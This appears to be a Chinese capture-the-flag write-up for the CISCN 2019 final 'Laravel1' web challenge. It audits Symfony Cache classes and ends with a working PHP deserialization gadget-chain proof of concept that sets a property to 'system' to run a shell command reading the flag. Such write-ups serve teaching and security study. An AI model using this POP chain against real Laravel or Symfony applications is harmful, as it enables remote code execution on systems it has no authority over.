ciscn2019-final-laravel
ciscn2019 final web9
buuoj上的环境:https://buuoj.cn/challenges#[CISCN2019%20%E6%80%BB%E5%86%B3%E8%B5%9B%20Day1%20Web4]Laravel1
1 |
|
给了一个unserialize(),显然是利用反序列化
1.搜索相关漏洞
在git文件composer.json中可以看到相关框架的版本号
1 | @@ -9,11 +9,12 @@ |
在https://cve.mitre.org/上搜索一下相关的cve
- laravel的版本是5.8.*,有一个反序列化的RCE CVE-2019-9081,之前的强网杯也出现过,但被修复了
- symfony的版本是4.2,有一个反序列化的CVE-2019-10912,也被修复了
2.查看laravel日志
在storage/logs/laravel-2019-06-29.log可以看到出题人调试这个洞的过程,主要关注这一段
1 | #0 /private/var/html/www/pop_chain/laravel/vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/ProxyAdapter.php(191): Symfony\\Component\\Cache\\Adapter\\ProxyAdapter->doSave(1, 'saveDeferred') |
- IndexController.php调用了TagAwareAdapter类的__destruct方法
- TagAwareAdapter类的commit和invalidateTags方法被依次调用
- ProxyAdapter类的saveDeferred方法被调用,saveDeferred方法又调用了ProxyAdapter类的doSave方法
不去看日志的话就只能全局搜索__destruct然后一个一个去审计了,但其实这题在storage/framework/sessions/的缓存文件中就记录了出题人测试用的payload…
3.代码审计
看一下这几个方法
- TagAwareAdapter.php中__destruct调用了commit方法
1
2
3
4public function __destruct()
{
$this->commit();
}commit调用了invalidateTags方法,并传入了一个空的数组1
2
3
4public function commit()
{
return $this->invalidateTags([]);
}invalidateTags方法代码很多,但重点是这段1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38public function invalidateTags(array $tags)
{
$ok = true;
$tagsByKey = [];
$invalidatedTags = [];
foreach ($tags as $tag) {
CacheItem::validateKey($tag);
$invalidatedTags[$tag] = 0;
}
if ($this->deferred) {
$items = $this->deferred;
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}
$f = $this->getTagsByKey;
$tagsByKey = $f($items);
$this->deferred = [];
}
$tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
$f = $this->createCacheItem;
foreach ($tagsByKey as $key => $tags) {
$this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
}
$ok = $this->pool->commit() && $ok;
if ($invalidatedTags) {
$f = $this->invalidateTags;
$ok = $f($this->tags, $invalidatedTags) && $ok;
}
return $ok;
}1
2
3
4
5
6
7
8
9
10
11
12if ($this->deferred) { //判断deferred属性是否存在
$items = $this->deferred;
foreach ($items as $key => $item) { //遍历$items,也就是遍历deferred属性
if (!$this->pool->saveDeferred($item)) { //调用pool属性的saveDeferred方法,并传入$items中的一个value
unset($this->deferred[$key]);
$ok = false;
}
}
$f = $this->getTagsByKey;
$tagsByKey = $f($items);
$this->deferred = [];
} - ProxyAdapter类中
1
2
3
4public function saveDeferred(CacheItemInterface $item)
{
return $this->doSave($item, __FUNCTION__);
}最终poc如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29private function doSave(CacheItemInterface $item, $method)
{
//这里检验了$item是否是一个CacheItem对象,往回推可以知道
//TagAwareAdapter类的deferred属性应该是一个CacheItem对象
if (!$item instanceof CacheItem) {
return false;
}
$item = (array) $item;//这里把对象转成了数组
if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) {
$item["\0*\0expiry"] = microtime(true) + $item["\0*\0defaultLifetime"];
}
if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
$innerItem = $item["\0*\0innerItem"];
} elseif ($this->pool instanceof AdapterInterface) {
// this is an optimization specific for AdapterInterface implementations
// so we can save a round-trip to the backend by just creating a new item
$f = $this->createCacheItem;
$innerItem = $f($this->namespace.$item["\0*\0key"], null);
} else {
$innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]);
}
//setInnerItem是ProxyAdapter类的一个属性,把它设成exec即可命令执行
//$innerItem是$item中的值,可以用来传入命令
($this->setInnerItem)($innerItem, $item);
return $this->pool->$method($innerItem);
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22namespace Symfony\Component\Cache\Adapter;
class TagAwareAdapter{
public $deferred = array();
function __construct($x){
$this->pool = $x;
}
}
class ProxyAdapter{
protected $setInnerItem = "system"; //如果用exec的话没有回显
}
namespace Symfony\Component\Cache;
class CacheItem{
protected $innerItem = "cat ../../../../../../../../../flag"; //flag 在根目录下
}
$a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter());
$a->deferred = array("aa"=>new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));4.另一个EXP
详情参见
https://xz.aliyun.com/t/5816#toc-6
可以用include去读flag